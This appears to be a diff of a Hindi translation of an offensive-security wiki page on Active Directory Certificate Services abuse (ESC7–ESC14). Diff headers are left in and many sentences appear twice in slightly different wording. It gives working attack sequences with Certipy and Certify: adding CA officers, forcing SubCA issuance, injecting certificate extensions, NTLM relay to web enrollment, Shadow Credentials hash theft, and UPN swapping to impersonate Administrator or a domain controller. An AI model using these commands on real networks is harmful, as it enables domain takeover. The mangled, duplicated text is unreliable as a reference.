एक प्रमाणपत्र प्राधिकरण के लिए पहुँच नियंत्रण एक सेट अनुमतियों के माध्यम से बनाए रखा जाता है जो CA क्रियाओं को नियंत्रित करता है। इन अनुमतियों को `certsrv.msc` तक पहुँचकर, एक CA पर राइट-क्लिक करके, गुणों का चयन करके, और फिर सुरक्षा टैब पर जाकर देखा जा सकता है। इसके अतिरिक्त, PSPKI मॉड्यूल का उपयोग करके अनुमतियों को निम्नलिखित कमांड के साथ सूचीबद्ध किया जा सकता है:
|
||||
```bash
|
||||
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
|
||||
```
|
||||
यह प्राथमिक अधिकारों के बारे में जानकारी प्रदान करता है, अर्थात् **`ManageCA`** और **`ManageCertificates`**, जो क्रमशः “CA प्रशासक” और “प्रमाणपत्र प्रबंधक” की भूमिकाओं से संबंधित हैं।
|
||||
यह प्राथमिक अधिकारों के बारे में जानकारी प्रदान करता है, अर्थात् **`ManageCA`** और **`ManageCertificates`**, जो क्रमशः "CA प्रशासक" और "प्रमाणपत्र प्रबंधक" की भूमिकाओं से संबंधित हैं।
|
||||
|
||||
#### दुरुपयोग
|
||||
|
||||
एक प्रमाणपत्र प्राधिकरण पर **`ManageCA`** अधिकार होने से प्रमुख को PSPKI का उपयोग करके दूरस्थ रूप से सेटिंग्स को संशोधित करने की अनुमति मिलती है। इसमें **`EDITF_ATTRIBUTESUBJECTALTNAME2`** ध्वज को टॉगल करना शामिल है ताकि किसी भी टेम्पलेट में SAN निर्दिष्ट करने की अनुमति मिल सके, जो डोमेन वृद्धि का एक महत्वपूर्ण पहलू है।
|
||||
|
||||
इस प्रक्रिया को PSPKI के **Enable-PolicyModuleFlag** cmdlet का उपयोग करके सरल बनाया जा सकता है, जो सीधे GUI इंटरैक्शन के बिना संशोधन की अनुमति देता है।
|
||||
इस प्रक्रिया को PSPKI के **Enable-PolicyModuleFlag** cmdlet का उपयोग करके सरल बनाया जा सकता है, जो सीधे GUI इंटरैक्शन के बिना संशोधनों की अनुमति देता है।
|
||||
|
||||
**`ManageCertificates`** अधिकारों का अधिग्रहण लंबित अनुरोधों की स्वीकृति को सुविधाजनक बनाता है, प्रभावी रूप से "CA प्रमाणपत्र प्रबंधक स्वीकृति" सुरक्षा को दरकिनार करता है।
|
||||
**`ManageCertificates`** अधिकारों का अधिग्रहण लंबित अनुरोधों की स्वीकृति को सक्षम बनाता है, प्रभावी रूप से "CA प्रमाणपत्र प्रबंधक स्वीकृति" सुरक्षा को दरकिनार करता है।
|
||||
|
||||
**Certify** और **PSPKI** मॉड्यूल का संयोजन एक प्रमाणपत्र के लिए अनुरोध, स्वीकृति और डाउनलोड करने के लिए उपयोग किया जा सकता है:
|
||||
```bash
|
||||
@ -261,13 +260,13 @@ Perquisites:
|
||||
|
||||
- केवल **`ManageCA` अनुमति**
|
||||
- **`Manage Certificates`** अनुमति (जो **`ManageCA`** से दी जा सकती है)
|
||||
- प्रमाणपत्र टेम्पलेट **`SubCA`** को **सक्षम** होना चाहिए (जो **`ManageCA`** से सक्षम किया जा सकता है)
|
||||
- प्रमाणपत्र टेम्पलेट **`SubCA`** को **सक्षम** किया जाना चाहिए (जो **`ManageCA`** से सक्षम किया जा सकता है)
|
||||
|
||||
यह तकनीक इस तथ्य पर निर्भर करती है कि `Manage CA` _और_ `Manage Certificates` पहुँच अधिकार वाले उपयोगकर्ता **असफल प्रमाणपत्र अनुरोध जारी कर सकते हैं**। **`SubCA`** प्रमाणपत्र टेम्पलेट **ESC1** के लिए **संवेदनशील** है, लेकिन **केवल प्रशासक** टेम्पलेट में नामांकित हो सकते हैं। इसलिए, एक **उपयोगकर्ता** **`SubCA`** में नामांकन के लिए **अनुरोध** कर सकता है - जिसे **अस्वीकृत** किया जाएगा - लेकिन **फिर बाद में प्रबंधक द्वारा जारी किया जाएगा**।
|
||||
|
||||
#### Abuse
|
||||
|
||||
आप **अपने लिए `Manage Certificates`** पहुँच अधिकार प्राप्त कर सकते हैं अपने उपयोगकर्ता को एक नए अधिकारी के रूप में जोड़कर।
|
||||
आप **अपने लिए `Manage Certificates`** पहुँच अधिकार प्रदान कर सकते हैं अपने उपयोगकर्ता को एक नए अधिकारी के रूप में जोड़कर।
|
||||
```bash
|
||||
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
@ -319,27 +318,67 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
[*] Loaded private key from '785.key'
|
||||
[*] Saved certificate and private key to 'administrator.pfx'
|
||||
```
|
||||
### Attack 3 – Manage Certificates Extension Abuse (SetExtension)
|
||||
|
||||
#### Explanation
|
||||
|
||||
क्लासिक ESC7 दुरुपयोगों (EDITF गुणों को सक्षम करना या लंबित अनुरोधों को मंजूरी देना) के अलावा, **Certify 2.0** ने एक नया प्राइमिटिव प्रकट किया है जिसे केवल *Manage Certificates* (जिसे **Certificate Manager / Officer** भी कहा जाता है) भूमिका की आवश्यकता होती है जो Enterprise CA पर है।
|
||||
|
||||
`ICertAdmin::SetExtension` RPC विधि को कोई भी प्रिंसिपल जो *Manage Certificates* रखता है, द्वारा निष्पादित किया जा सकता है। जबकि यह विधि पारंपरिक रूप से वैध CAs द्वारा **लंबित** अनुरोधों पर एक्सटेंशन को अपडेट करने के लिए उपयोग की जाती थी, एक हमलावर इसका दुरुपयोग कर सकता है ताकि **एक *non-default* प्रमाणपत्र एक्सटेंशन** (उदाहरण के लिए एक कस्टम *Certificate Issuance Policy* OID जैसे `1.1.1.1`) को एक अनुरोध में जो मंजूरी की प्रतीक्षा कर रहा है, जोड़ा जा सके।
|
||||
|
||||
चूंकि लक्षित टेम्पलेट उस एक्सटेंशन के लिए **डिफ़ॉल्ट मान को परिभाषित नहीं करता है**, CA हमलावर द्वारा नियंत्रित मान को तब तक अधिलेखित नहीं करेगा जब तक अनुरोध अंततः जारी नहीं किया जाता। परिणामस्वरूप प्रमाणपत्र में एक हमलावर द्वारा चुना गया एक्सटेंशन होता है जो:
|
||||
|
||||
* अन्य कमजोर टेम्पलेट्स की एप्लिकेशन / इश्यू पॉलिसी आवश्यकताओं को पूरा कर सकता है (जिससे विशेषाधिकार वृद्धि हो सकती है)।
|
||||
* अतिरिक्त EKUs या नीतियों को इंजेक्ट कर सकता है जो प्रमाणपत्र को तीसरे पक्ष के सिस्टम में अप्रत्याशित विश्वास प्रदान करते हैं।
|
||||
|
||||
संक्षेप में, *Manage Certificates* – जिसे पहले ESC7 का “कम शक्तिशाली” आधा माना जाता था – अब पूर्ण विशेषाधिकार वृद्धि या दीर्घकालिक स्थिरता के लिए उपयोग किया जा सकता है, बिना CA कॉन्फ़िगरेशन को छुए या अधिक प्रतिबंधात्मक *Manage CA* अधिकार की आवश्यकता के।
|
||||
|
||||
#### Abusing the primitive with Certify 2.0
|
||||
|
||||
1. **एक प्रमाणपत्र अनुरोध सबमिट करें जो *लंबित* रहेगा।** इसे एक टेम्पलेट के साथ मजबूर किया जा सकता है जो प्रबंधक की मंजूरी की आवश्यकता होती है:
|
||||
```powershell
|
||||
Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval
|
||||
# लौटाए गए अनुरोध ID का ध्यान रखें
|
||||
```
|
||||
|
||||
2. **लंबित अनुरोध में एक कस्टम एक्सटेंशन जोड़ें** नए `manage-ca` कमांड का उपयोग करके:
|
||||
```powershell
|
||||
Certify.exe manage-ca --ca SERVER\\CA-NAME \
|
||||
--request-id 1337 \
|
||||
--set-extension "1.1.1.1=DER,10,01 01 00 00" # नकली इश्यू-नीति OID
|
||||
```
|
||||
*यदि टेम्पलेट पहले से *Certificate Issuance Policies* एक्सटेंशन को परिभाषित नहीं करता है, तो ऊपर दिया गया मान जारी होने के बाद संरक्षित रहेगा।*
|
||||
|
||||
3. **अनुरोध जारी करें** (यदि आपकी भूमिका में *Manage Certificates* मंजूरी अधिकार भी हैं) या किसी ऑपरेटर के इसे मंजूर करने की प्रतीक्षा करें। एक बार जारी होने पर, प्रमाणपत्र डाउनलोड करें:
|
||||
```powershell
|
||||
Certify.exe request-download --ca SERVER\\CA-NAME --id 1337
|
||||
```
|
||||
|
||||
4. परिणामस्वरूप प्रमाणपत्र अब दुर्भावनापूर्ण इश्यू-नीति OID को शामिल करता है और इसे बाद के हमलों (जैसे ESC13, डोमेन वृद्धि, आदि) में उपयोग किया जा सकता है।
|
||||
|
||||
> NOTE: समान हमला Certipy ≥ 4.7 के साथ `ca` कमांड और `-set-extension` पैरामीटर के माध्यम से निष्पादित किया जा सकता है।
|
||||
|
||||
## NTLM Relay to AD CS HTTP Endpoints – ESC8
|
||||
|
||||
### Explanation
|
||||
|
||||
> [!TIP]
|
||||
> उन वातावरणों में जहाँ **AD CS स्थापित है**, यदि एक **वेब नामांकन अंतर्निहित** है और कम से कम एक **प्रमाणपत्र टेम्पलेट प्रकाशित** है जो **डोमेन कंप्यूटर नामांकन और क्लाइंट प्रमाणीकरण** की अनुमति देता है (जैसे कि डिफ़ॉल्ट **`Machine`** टेम्पलेट), तो **स्पूलर सेवा सक्रिय होने वाले किसी भी कंप्यूटर को हमलावर द्वारा समझौता किया जा सकता है**!
|
||||
> उन वातावरणों में जहां **AD CS स्थापित है**, यदि एक **वेब नामांकन अंत बिंदु कमजोर** है और कम से कम एक **प्रमाणपत्र टेम्पलेट प्रकाशित है** जो **डोमेन कंप्यूटर नामांकन और क्लाइंट प्रमाणीकरण** की अनुमति देता है (जैसे डिफ़ॉल्ट **`Machine`** टेम्पलेट), तो **स्पूलर सेवा सक्रिय होने वाले किसी भी कंप्यूटर को एक हमलावर द्वारा समझौता किया जा सकता है**!
|
||||
|
||||
AD CS द्वारा कई **HTTP-आधारित नामांकन विधियों** का समर्थन किया जाता है, जो अतिरिक्त सर्वर भूमिकाओं के माध्यम से उपलब्ध होती हैं जिन्हें प्रशासक स्थापित कर सकते हैं। HTTP-आधारित प्रमाणपत्र नामांकन के लिए ये इंटरफेस **NTLM रिले हमलों** के प्रति संवेदनशील होते हैं। एक हमलावर, एक **समझौता किए गए मशीन से, किसी भी AD खाते का अनुकरण कर सकता है जो इनबाउंड NTLM के माध्यम से प्रमाणीकरण करता है**। पीड़ित खाते का अनुकरण करते समय, इन वेब इंटरफेस को एक हमलावर द्वारा **`User` या `Machine` प्रमाणपत्र टेम्पलेट्स का उपयोग करके क्लाइंट प्रमाणीकरण प्रमाणपत्र के लिए अनुरोध करने के लिए एक्सेस किया जा सकता है**।
|
||||
|
||||
- **वेब नामांकन इंटरफेस** (एक पुरानी ASP एप्लिकेशन जो `http://<caserver>/certsrv/` पर उपलब्ध है), डिफ़ॉल्ट रूप से केवल HTTP पर सेट है, जो NTLM रिले हमलों के खिलाफ सुरक्षा प्रदान नहीं करता है। इसके अतिरिक्त, यह स्पष्ट रूप से केवल NTLM प्रमाणीकरण की अनुमति देता है अपने Authorization HTTP हेडर के माध्यम से, जिससे अधिक सुरक्षित प्रमाणीकरण विधियाँ जैसे Kerberos अनुपयुक्त हो जाती हैं।
|
||||
- **प्रमाणपत्र नामांकन सेवा** (CES), **प्रमाणपत्र नामांकन नीति** (CEP) वेब सेवा, और **नेटवर्क डिवाइस नामांकन सेवा** (NDES) डिफ़ॉल्ट रूप से अपने Authorization HTTP हेडर के माध्यम से बातचीत प्रमाणीकरण का समर्थन करते हैं। बातचीत प्रमाणीकरण **दोनों** Kerberos और **NTLM** का समर्थन करता है, जिससे एक हमलावर **NTLM** प्रमाणीकरण में डाउनग्रेड कर सकता है। हालाँकि ये वेब सेवाएँ डिफ़ॉल्ट रूप से HTTPS सक्षम करती हैं, HTTPS अकेले **NTLM रिले हमलों से सुरक्षा नहीं करता है**। HTTPS सेवाओं के लिए NTLM रिले हमलों से सुरक्षा केवल तब संभव है जब HTTPS को चैनल बाइंडिंग के साथ जोड़ा जाए। दुर्भाग्यवश, AD CS IIS पर प्रमाणीकरण के लिए विस्तारित सुरक्षा को सक्रिय नहीं करता है, जो चैनल बाइंडिंग के लिए आवश्यक है।
|
||||
- **वेब नामांकन इंटरफेस** (एक पुरानी ASP एप्लिकेशन जो `http://<caserver>/certsrv/` पर उपलब्ध है), डिफ़ॉल्ट रूप से केवल HTTP पर है, जो NTLM रिले हमलों के खिलाफ सुरक्षा प्रदान नहीं करता है। इसके अतिरिक्त, यह स्पष्ट रूप से केवल NTLM प्रमाणीकरण की अनुमति देता है अपने Authorization HTTP हेडर के माध्यम से, जिससे अधिक सुरक्षित प्रमाणीकरण विधियाँ जैसे Kerberos अनुपयुक्त हो जाती हैं।
|
||||
- **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) वेब सेवा, और **Network Device Enrollment Service** (NDES) डिफ़ॉल्ट रूप से अपने Authorization HTTP हेडर के माध्यम से बातचीत प्रमाणीकरण का समर्थन करते हैं। बातचीत प्रमाणीकरण **दोनों** Kerberos और **NTLM** का समर्थन करता है, जिससे एक हमलावर **NTLM** प्रमाणीकरण को रिले हमलों के दौरान **डाउनग्रेड** कर सकता है। हालांकि ये वेब सेवाएँ डिफ़ॉल्ट रूप से HTTPS सक्षम करती हैं, HTTPS अकेले **NTLM रिले हमलों से सुरक्षा नहीं करता है**। HTTPS सेवाओं के लिए NTLM रिले हमलों से सुरक्षा केवल तब संभव है जब HTTPS को चैनल बाइंडिंग के साथ जोड़ा जाए। दुर्भाग्यवश, AD CS IIS पर प्रमाणीकरण के लिए विस्तारित सुरक्षा को सक्रिय नहीं करता है, जो चैनल बाइंडिंग के लिए आवश्यक है।
|
||||
|
||||
NTLM रिले हमलों के साथ एक सामान्य **समस्या** NTLM सत्रों की **संक्षिप्त अवधि** और हमलावर की उन सेवाओं के साथ बातचीत करने में असमर्थता है जो **NTLM साइनिंग** की आवश्यकता होती है।
|
||||
|
||||
फिर भी, इस सीमा को एक NTLM रिले हमले का लाभ उठाकर उपयोगकर्ता के लिए एक प्रमाणपत्र प्राप्त करके पार किया जा सकता है, क्योंकि प्रमाणपत्र की वैधता अवधि सत्र की अवधि को निर्धारित करती है, और प्रमाणपत्र को उन सेवाओं के साथ उपयोग किया जा सकता है जो **NTLM साइनिंग** की आवश्यकता होती है। चुराए गए प्रमाणपत्र का उपयोग करने के लिए निर्देशों के लिए देखें:
|
||||
फिर भी, इस सीमा को NTLM रिले हमले का उपयोग करके एक उपयोगकर्ता के लिए प्रमाणपत्र प्राप्त करके पार किया जाता है, क्योंकि प्रमाणपत्र की वैधता अवधि सत्र की अवधि को निर्धारित करती है, और प्रमाणपत्र को उन सेवाओं के साथ उपयोग किया जा सकता है जो **NTLM साइनिंग** की आवश्यकता होती है। चोरी किए गए प्रमाणपत्र का उपयोग करने के निर्देशों के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
account-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
NTLM रिले हमलों की एक और सीमा यह है कि **एक हमलावर-नियंत्रित मशीन को एक पीड़ित खाते द्वारा प्रमाणीकरण किया जाना चाहिए**। हमलावर या तो इंतजार कर सकता है या इस प्रमाणीकरण को **बलात्कृत** करने का प्रयास कर सकता है:
|
||||
NTLM रिले हमलों की एक और सीमा यह है कि **एक हमलावर-नियंत्रित मशीन को एक पीड़ित खाते द्वारा प्रमाणीकरण किया जाना चाहिए**। हमलावर या तो प्रतीक्षा कर सकता है या इस प्रमाणीकरण को **बलात्कृत** करने का प्रयास कर सकता है:
|
||||
|
||||
{{#ref}}
|
||||
../printers-spooler-service-abuse.md
|
||||
@ -353,7 +392,7 @@ Certify.exe cas
|
||||
```
|
||||
<figure><img src="../../../images/image (72).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
`msPKI-Enrollment-Servers` प्रॉपर्टी का उपयोग एंटरप्राइज सर्टिफिकेट अथॉरिटीज़ (CAs) द्वारा सर्टिफिकेट एनरोलमेंट सर्विस (CES) एंडपॉइंट्स को स्टोर करने के लिए किया जाता है। इन एंडपॉइंट्स को टूल **Certutil.exe** का उपयोग करके पार्स और लिस्ट किया जा सकता है:
|
||||
`msPKI-Enrollment-Servers` प्रॉपर्टी का उपयोग एंटरप्राइज सर्टिफिकेट अथॉरिटीज़ (CAs) द्वारा सर्टिफिकेट एनरोलमेंट सर्विस (CES) एंडपॉइंट्स को स्टोर करने के लिए किया जाता है। इन एंडपॉइंट्स को **Certutil.exe** टूल का उपयोग करके पार्स और लिस्ट किया जा सकता है:
|
||||
```
|
||||
certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA
|
||||
```
|
||||
@ -406,14 +445,14 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
||||
- `StrongCertificateBindingEnforcement` को `2` पर समायोजित नहीं किया गया है (डिफ़ॉल्ट `1` है), या `CertificateMappingMethods` में `UPN` ध्वज शामिल है।
|
||||
- प्रमाणपत्र को `msPKI-Enrollment-Flag` सेटिंग के भीतर `CT_FLAG_NO_SECURITY_EXTENSION` ध्वज के साथ चिह्नित किया गया है।
|
||||
- प्रमाणपत्र द्वारा किसी भी क्लाइंट प्रमाणीकरण EKU निर्दिष्ट किया गया है।
|
||||
- किसी भी खाते पर `GenericWrite` अनुमतियाँ उपलब्ध हैं ताकि किसी अन्य को समझौता किया जा सके।
|
||||
- प्रमाणपत्र द्वारा किसी भी क्लाइंट प्रमाणीकरण EKU को निर्दिष्ट किया गया है।
|
||||
- किसी अन्य को समझौता करने के लिए किसी भी खाते पर `GenericWrite` अनुमतियाँ उपलब्ध हैं।
|
||||
|
||||
### Abuse Scenario
|
||||
|
||||
मान लीजिए `John@corp.local` के पास `Jane@corp.local` पर `GenericWrite` अनुमतियाँ हैं, जिसका लक्ष्य `Administrator@corp.local` को समझौता करना है। `ESC9` प्रमाणपत्र टेम्पलेट, जिसमें `Jane@corp.local` को नामांकित करने की अनुमति है, को इसके `msPKI-Enrollment-Flag` सेटिंग में `CT_FLAG_NO_SECURITY_EXTENSION` ध्वज के साथ कॉन्फ़िगर किया गया है।
|
||||
|
||||
शुरुआत में, `Jane` का हैश Shadow Credentials का उपयोग करके प्राप्त किया जाता है, धन्यवाद `John` के `GenericWrite`:
|
||||
शुरुआत में, `Jane` का हैश `John` के `GenericWrite` के कारण Shadow Credentials का उपयोग करके प्राप्त किया जाता है:
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
|
||||
```
|
||||
@ -429,7 +468,7 @@ certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ES
|
||||
```
|
||||
यह नोट किया गया है कि प्रमाणपत्र का `userPrincipalName` `Administrator` को दर्शाता है, जिसमें कोई “object SID” नहीं है।
|
||||
|
||||
`Jane` का `userPrincipalName` फिर से उसके मूल, `Jane@corp.local` में बदल दिया गया है:
|
||||
`Jane` का `userPrincipalName` फिर से उसके मूल, `Jane@corp.local` में बदल दिया जाता है:
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
|
||||
```
|
||||
@ -443,8 +482,8 @@ certipy auth -pfx adminitrator.pfx -domain corp.local
|
||||
|
||||
डोमेन नियंत्रक पर दो रजिस्ट्री कुंजी मान ESC10 द्वारा संदर्भित हैं:
|
||||
|
||||
- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` के तहत `CertificateMappingMethods` के लिए डिफ़ॉल्ट मान `0x18` (`0x8 | 0x10`) है, जो पहले `0x1F` पर सेट था।
|
||||
- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` के तहत `StrongCertificateBindingEnforcement` के लिए डिफ़ॉल्ट सेटिंग `1` है, जो पहले `0` थी।
|
||||
- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` के तहत `CertificateMappingMethods` के लिए डिफ़ॉल्ट मान `0x18` (`0x8 | 0x10`) है, जिसे पहले `0x1F` पर सेट किया गया था।
|
||||
- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` के तहत `StrongCertificateBindingEnforcement` के लिए डिफ़ॉल्ट सेटिंग `1` है, पहले `0`।
|
||||
|
||||
**मामला 1**
|
||||
|
||||
@ -458,7 +497,7 @@ certipy auth -pfx adminitrator.pfx -domain corp.local
|
||||
|
||||
जब `StrongCertificateBindingEnforcement` को `0` के रूप में कॉन्फ़िगर किया गया है, तो `GenericWrite` अनुमतियों के साथ एक खाता A का उपयोग किसी भी खाते B को समझौता करने के लिए किया जा सकता है।
|
||||
|
||||
उदाहरण के लिए, `Jane@corp.local` पर `GenericWrite` अनुमतियों के साथ, एक हमलावर `Administrator@corp.local` को समझौता करने का लक्ष्य रखता है। यह प्रक्रिया ESC9 के समान है, जो किसी भी प्रमाणपत्र टेम्पलेट का उपयोग करने की अनुमति देती है।
|
||||
उदाहरण के लिए, `Jane@corp.local` पर `GenericWrite` अनुमतियों के साथ, एक हमलावर `Administrator@corp.local` को समझौता करने का लक्ष्य रखता है। यह प्रक्रिया ESC9 को दर्शाती है, जिससे किसी भी प्रमाणपत्र टेम्पलेट का उपयोग किया जा सकता है।
|
||||
|
||||
शुरुआत में, `Jane` का हैश Shadow Credentials का उपयोग करके प्राप्त किया जाता है, `GenericWrite` का दुरुपयोग करते हुए।
|
||||
```bash
|
||||
@ -482,9 +521,9 @@ certipy auth -pfx administrator.pfx -domain corp.local
|
||||
```
|
||||
### Abuse Case 2
|
||||
|
||||
`CertificateMappingMethods` में `UPN` बिट फ्लैग (`0x4`) होने के साथ, एक खाता A जिसमें `GenericWrite` अनुमतियाँ हैं, किसी भी खाते B को समझौता कर सकता है जिसमें `userPrincipalName` प्रॉपर्टी नहीं है, जिसमें मशीन खाते और अंतर्निहित डोमेन प्रशासक `Administrator` शामिल हैं।
|
||||
`CertificateMappingMethods` में `UPN` बिट फ्लैग (`0x4`) होने के साथ, एक खाता A जिसके पास `GenericWrite` अनुमतियाँ हैं, किसी भी खाते B को समझौता कर सकता है जिसमें `userPrincipalName` प्रॉपर्टी नहीं है, जिसमें मशीन खाते और अंतर्निहित डोमेन प्रशासक `Administrator` शामिल हैं।
|
||||
|
||||
यहाँ, लक्ष्य `DC$@corp.local` को समझौता करना है, `Jane` का हैश प्राप्त करने से शुरू करते हुए, Shadow Credentials के माध्यम से, `GenericWrite` का लाभ उठाते हुए।
|
||||
यहाँ, लक्ष्य `DC$@corp.local` को समझौता करना है, `Jane` का हैश प्राप्त करने के साथ शुरू करते हुए, Shadow Credentials के माध्यम से, `GenericWrite` का लाभ उठाते हुए।
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
|
||||
```
|
||||
@ -504,11 +543,11 @@ Schannel के माध्यम से प्रमाणीकरण कर
|
||||
```bash
|
||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||
```
|
||||
LDAP शेल के माध्यम से, `set_rbcd` जैसे कमांड रिसोर्स-आधारित सीमित प्रतिनिधित्व (RBCD) हमलों को सक्षम करते हैं, जो संभावित रूप से डोमेन कंट्रोलर को खतरे में डाल सकते हैं।
|
||||
LDAP शेल के माध्यम से, `set_rbcd` जैसे कमांड Resource-Based Constrained Delegation (RBCD) हमलों को सक्षम करते हैं, जो संभावित रूप से डोमेन कंट्रोलर को खतरे में डाल सकते हैं।
|
||||
```bash
|
||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||
```
|
||||
यह सुरक्षा कमी किसी भी उपयोगकर्ता खाते पर लागू होती है जिसमें `userPrincipalName` नहीं है या जहां यह `sAMAccountName` से मेल नहीं खाता, जिसमें डिफ़ॉल्ट `Administrator@corp.local` एक प्रमुख लक्ष्य है क्योंकि इसके पास उच्च LDAP विशेषाधिकार हैं और डिफ़ॉल्ट रूप से `userPrincipalName` की अनुपस्थिति है।
|
||||
यह सुरक्षा कमजोरी किसी भी उपयोगकर्ता खाते पर लागू होती है जिसमें `userPrincipalName` नहीं है या जहां यह `sAMAccountName` से मेल नहीं खाता, जिसमें डिफ़ॉल्ट `Administrator@corp.local` एक प्रमुख लक्ष्य है क्योंकि इसके पास उच्च LDAP विशेषाधिकार हैं और डिफ़ॉल्ट रूप से `userPrincipalName` की अनुपस्थिति है।
|
||||
|
||||
## NTLM को ICPR में रिले करना - ESC11
|
||||
|
||||
@ -590,7 +629,7 @@ $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common
|
||||
|
||||
### व्याख्या
|
||||
|
||||
`msPKI-Certificate-Policy` विशेषता प्रमाणपत्र टेम्पलेट में जारी करने की नीति को जोड़ने की अनुमति देती है। `msPKI-Enterprise-Oid` वस्तुएं जो नीतियों को जारी करने के लिए जिम्मेदार हैं, PKI OID कंटेनर के कॉन्फ़िगरेशन नामकरण संदर्भ (CN=OID,CN=Public Key Services,CN=Services) में खोजी जा सकती हैं। एक नीति को इस वस्तु की `msDS-OIDToGroupLink` विशेषता का उपयोग करके एक AD समूह से जोड़ा जा सकता है, जिससे एक प्रणाली को उस उपयोगकर्ता को अधिकृत करने की अनुमति मिलती है जो प्रमाणपत्र प्रस्तुत करता है जैसे कि वह समूह का सदस्य हो। [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
|
||||
`msPKI-Certificate-Policy` विशेषता प्रमाणपत्र टेम्पलेट में जारी करने की नीति को जोड़ने की अनुमति देती है। `msPKI-Enterprise-Oid` वस्तुएं जो नीतियों को जारी करने के लिए जिम्मेदार हैं, PKI OID कंटेनर के कॉन्फ़िगरेशन नाम संदर्भ (CN=OID,CN=Public Key Services,CN=Services) में खोजी जा सकती हैं। एक नीति को इस वस्तु की `msDS-OIDToGroupLink` विशेषता का उपयोग करके एक AD समूह से जोड़ा जा सकता है, जिससे एक प्रणाली को उस उपयोगकर्ता को अधिकृत करने की अनुमति मिलती है जो प्रमाणपत्र प्रस्तुत करता है जैसे कि वह समूह का सदस्य हो। [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
|
||||
|
||||
दूसरे शब्दों में, जब एक उपयोगकर्ता को एक प्रमाणपत्र में नामांकित करने की अनुमति होती है और प्रमाणपत्र एक OID समूह से जुड़ा होता है, तो उपयोगकर्ता इस समूह के विशेषाधिकारों को विरासत में ले सकता है।
|
||||
|
||||
@ -632,28 +671,28 @@ certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target
|
||||
|
||||
The description at https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping is remarkably thorough. Below is a quotation of the original text.
|
||||
|
||||
ESC14 "कमजोर स्पष्ट प्रमाणपत्र मैपिंग" से उत्पन्न होने वाली कमजोरियों को संबोधित करता है, मुख्य रूप से Active Directory उपयोगकर्ता या कंप्यूटर खातों पर `altSecurityIdentities` विशेषता के दुरुपयोग या असुरक्षित कॉन्फ़िगरेशन के माध्यम से। यह बहु-मूल्य विशेषता प्रशासकों को प्रमाणीकरण उद्देश्यों के लिए AD खाते के साथ X.509 प्रमाणपत्रों को मैन्युअल रूप से जोड़ने की अनुमति देती है। जब भरा जाता है, तो ये स्पष्ट मैपिंग डिफ़ॉल्ट प्रमाणपत्र मैपिंग लॉजिक को ओवरराइड कर सकते हैं, जो आमतौर पर प्रमाणपत्र के SAN में UPNs या DNS नामों, या `szOID_NTDS_CA_SECURITY_EXT` सुरक्षा विस्तार में एम्बेडेड SID पर निर्भर करता है।
|
||||
ESC14 "कमजोर स्पष्ट प्रमाणपत्र मैपिंग" से उत्पन्न होने वाली कमजोरियों को संबोधित करता है, मुख्य रूप से Active Directory उपयोगकर्ता या कंप्यूटर खातों पर `altSecurityIdentities` विशेषता के दुरुपयोग या असुरक्षित कॉन्फ़िगरेशन के माध्यम से। यह बहु-मूल्य वाला गुण प्रशासकों को प्रमाणीकरण उद्देश्यों के लिए AD खाते के साथ X.509 प्रमाणपत्रों को मैन्युअल रूप से जोड़ने की अनुमति देता है। जब भरा जाता है, तो ये स्पष्ट मैपिंग डिफ़ॉल्ट प्रमाणपत्र मैपिंग लॉजिक को ओवरराइड कर सकते हैं, जो आमतौर पर प्रमाणपत्र के SAN में UPNs या DNS नामों, या `szOID_NTDS_CA_SECURITY_EXT` सुरक्षा विस्तार में एम्बेडेड SID पर निर्भर करता है।
|
||||
|
||||
एक "कमजोर" मैपिंग तब होती है जब `altSecurityIdentities` विशेषता के भीतर प्रमाणपत्र की पहचान करने के लिए उपयोग किया जाने वाला स्ट्रिंग मान बहुत व्यापक, आसानी से अनुमानित, गैर-विशिष्ट प्रमाणपत्र क्षेत्रों पर निर्भर करता है, या आसानी से धोखा देने योग्य प्रमाणपत्र घटकों का उपयोग करता है। यदि एक हमलावर एक ऐसा प्रमाणपत्र प्राप्त कर सकता है या तैयार कर सकता है जिसके गुण ऐसे कमजोर परिभाषित स्पष्ट मैपिंग के लिए एक विशेषाधिकार प्राप्त खाते से मेल खाते हैं, तो वे उस प्रमाणपत्र का उपयोग करके उस खाते के रूप में प्रमाणीकरण कर सकते हैं और उसकी नकल कर सकते हैं।
|
||||
